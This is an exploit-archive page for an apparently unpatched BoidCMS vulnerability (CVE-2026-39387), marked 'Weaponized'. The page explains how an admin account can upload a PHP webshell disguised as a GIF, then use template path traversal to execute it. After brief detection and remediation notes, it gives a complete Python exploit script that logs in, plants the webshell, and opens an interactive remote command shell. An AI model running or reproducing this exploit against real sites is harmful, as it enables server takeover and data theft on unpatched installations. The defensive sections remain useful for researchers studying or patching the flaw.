PoC Archive PoC Archive
High CVE-2026-39387 unpatched

BoidCMS — Authenticated File Upload to RCE via Template Injection (CVE-2026-39387)

by xp1tr · 2026-07-05

Severity
High
CVE
CVE-2026-39387
Category
web
Affected product
BoidCMS
Affected versions
<= 2.1.2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherxp1tr
CVE / AdvisoryCVE-2026-39387
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagsboidcms, php, authenticated, file-upload, path-traversal, template-injection, rce
RelatedN/A

Affected Target

FieldValue
Software / SystemBoidCMS
Versions Affected<= 2.1.2
Language / PlatformPython (exploit) targeting PHP web application
Authentication RequiredYes (admin account)
Network Access RequiredYes

Summary

BoidCMS (<= 2.1.2) combines two weaknesses to reach remote code execution from an authenticated admin account. First, its media upload endpoint only checks the declared MIME type (e.g. image/gif) rather than actual file contents, allowing PHP code embedded in a .gif file to be stored on the server. Second, the page-creation endpoint accepts a user-controlled tpl (template) parameter that is resolved relative to the themes directory without sanitization, allowing path traversal (e.g. ../../media/shell.gif) to point a page’s rendering template at the uploaded file. When the crafted page is viewed, the PHP interpreter executes the embedded payload, giving the attacker an interactive shell.


Vulnerability Details

Root Cause

The media upload handler validates only the declared MIME type rather than file content (CWE-434), and the page tpl parameter is used to build a template include path without path-traversal sanitization (CWE-22), together enabling PHP execution from an uploaded image.

Attack Vector

  1. Log into BoidCMS as an admin (-l/-p credentials).
  2. Upload a .gif file containing embedded PHP code via the media upload endpoint (admin?page=media).
  3. Create a new page (admin?page=create) with tpl=../../media/shell.gif, pointing the page’s template at the uploaded file.
  4. Request the resulting page’s permalink with a cmd parameter to execute arbitrary commands (GET /<permalink>?cmd=<command>).

Impact

Authenticated remote code execution as the web server user, providing an interactive shell for further post-exploitation.


Environment / Lab Setup

Target:   BoidCMS <= 2.1.2 (PHP)
Attacker: python3, requests

Proof of Concept

PoC Script

See CVE-2026-39387.py in this folder.

1
python3 CVE-2026-39387.py -u http://target.com -l admin -p password123

The script logs in with the provided admin credentials (handling CSRF tokens), uploads a GIF-disguised PHP webshell, creates a page whose template path traverses to the uploaded file, and drops the operator into an interactive cmd >> shell for command execution on the remote host.


Detection & Indicators of Compromise

POST /admin?page=create HTTP/1.1
tpl=../../media/shell.gif
GET /<permalink>?cmd=id HTTP/1.1

Signs of compromise:

  • Media files with .gif/image extensions containing embedded <?php tags
  • Page tpl values referencing paths outside the intended themes directory

Remediation

ActionDetail
Primary fixUpdate BoidCMS to a version validating actual uploaded file content and sanitizing the tpl parameter against path traversal, once available
Interim mitigationValidate uploaded file content (not just declared MIME type); restrict tpl to an allowlist of known template files

References


Notes

Mirrored from https://github.com/xp1tr/CVE-2026-39387 on 2026-07-05.

CVE-2026-39387.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104

#!/usr/bin/python3
# Exploit Title: BoidCMS v2.1.2 - Authenticated File Upload to RCE via Template Injection
# Exploit Author: xp1tr
# Software Link: https://boidcms.github.io/BoidCMS.zip
# CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-39387
# Version: <= 2.1.2
# Pre-requisite: Authenticated Access

import requests
import re
import argparse
from datetime import datetime

parser = argparse.ArgumentParser(description='Exploit for BoidCMS RCE (Upload + Template LFI)')
parser.add_argument("-u", "--url", help="website url (ex: http://target.com)", required=True)
parser.add_argument("-l", "--user", help="admin username", required=True)
parser.add_argument("-p", "--passwd", help="admin password", required=True)
args = parser.parse_args()

base_url = args.url.rstrip('/')
user = args.user
passwd = args.passwd

def get_token(session, url):
    req = session.get(url)
    token = re.findall(r'name="token" value="([a-z0-9]{64})"', req.text)
    if token:
        return token[0]
    return None

def exploit():
    with requests.Session() as s:
        print(f"[*] Attempting login at {base_url}/admin...")
        login_page = f'{base_url}/admin'
        token = get_token(s, login_page)
        if not token:
            print("[-] Could not find CSRF token for login.")
            return

        form_login_data = {
            "username": user,
            "password": passwd,
            "token": token,
            "login": "Login"
        }
        s.post(login_page, data=form_login_data)

        print("[*] Uploading shell.gif...")
        media_page = f'{base_url}/admin?page=media'
        token = get_token(s, media_page)
        
        shell_content = b"GIF89a;\n<?php system($_GET['cmd']); ?>"
        files = {'file': ('shell.gif', shell_content, 'image/gif')}
        form_upld_data = {
            "token": token,
            "upload": "Upload"
        }
        
        upld_res = s.post(media_page, files=files, data=form_upld_data)
        if "shell.gif" not in upld_res.text:
            print("[-] Upload failed.")
            return

        print("[*] Creating malicious page with template injection...")
        create_page = f'{base_url}/admin?page=create'
        token = get_token(s, create_page)
        
        permalink = "rce_page"
        create_data = {
            "type": "post",
            "title": "Security Test",
            "descr": "POC",
            "keywords": "",
            "content": "",
            "permalink": permalink,
            "tpl": "../../media/shell.gif", 
            "thumb": "",
            "date": datetime.now().strftime("%Y-%m-%dT%H:%M"),
            "pub": "true",
            "token": token,
            "create": "Create"
        }
        
        s.post(create_page, data=create_data)

        shell_url = f'{base_url}/{permalink}'
        print(f"[+] Exploit successful! Target page: {shell_url}")
        print("[*] Entering interactive shell (type 'exit' to quit):")
        
        while True:
            cmd = input("cmd >> ")
            if cmd.lower() == 'exit':
                break
            
            try:
                res = s.get(shell_url, params={"cmd": cmd})
                output = res.text.split('GIF89a;')[1].strip() if 'GIF89a;' in res.text else res.text
                print(output)
            except Exception as e:
                print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit()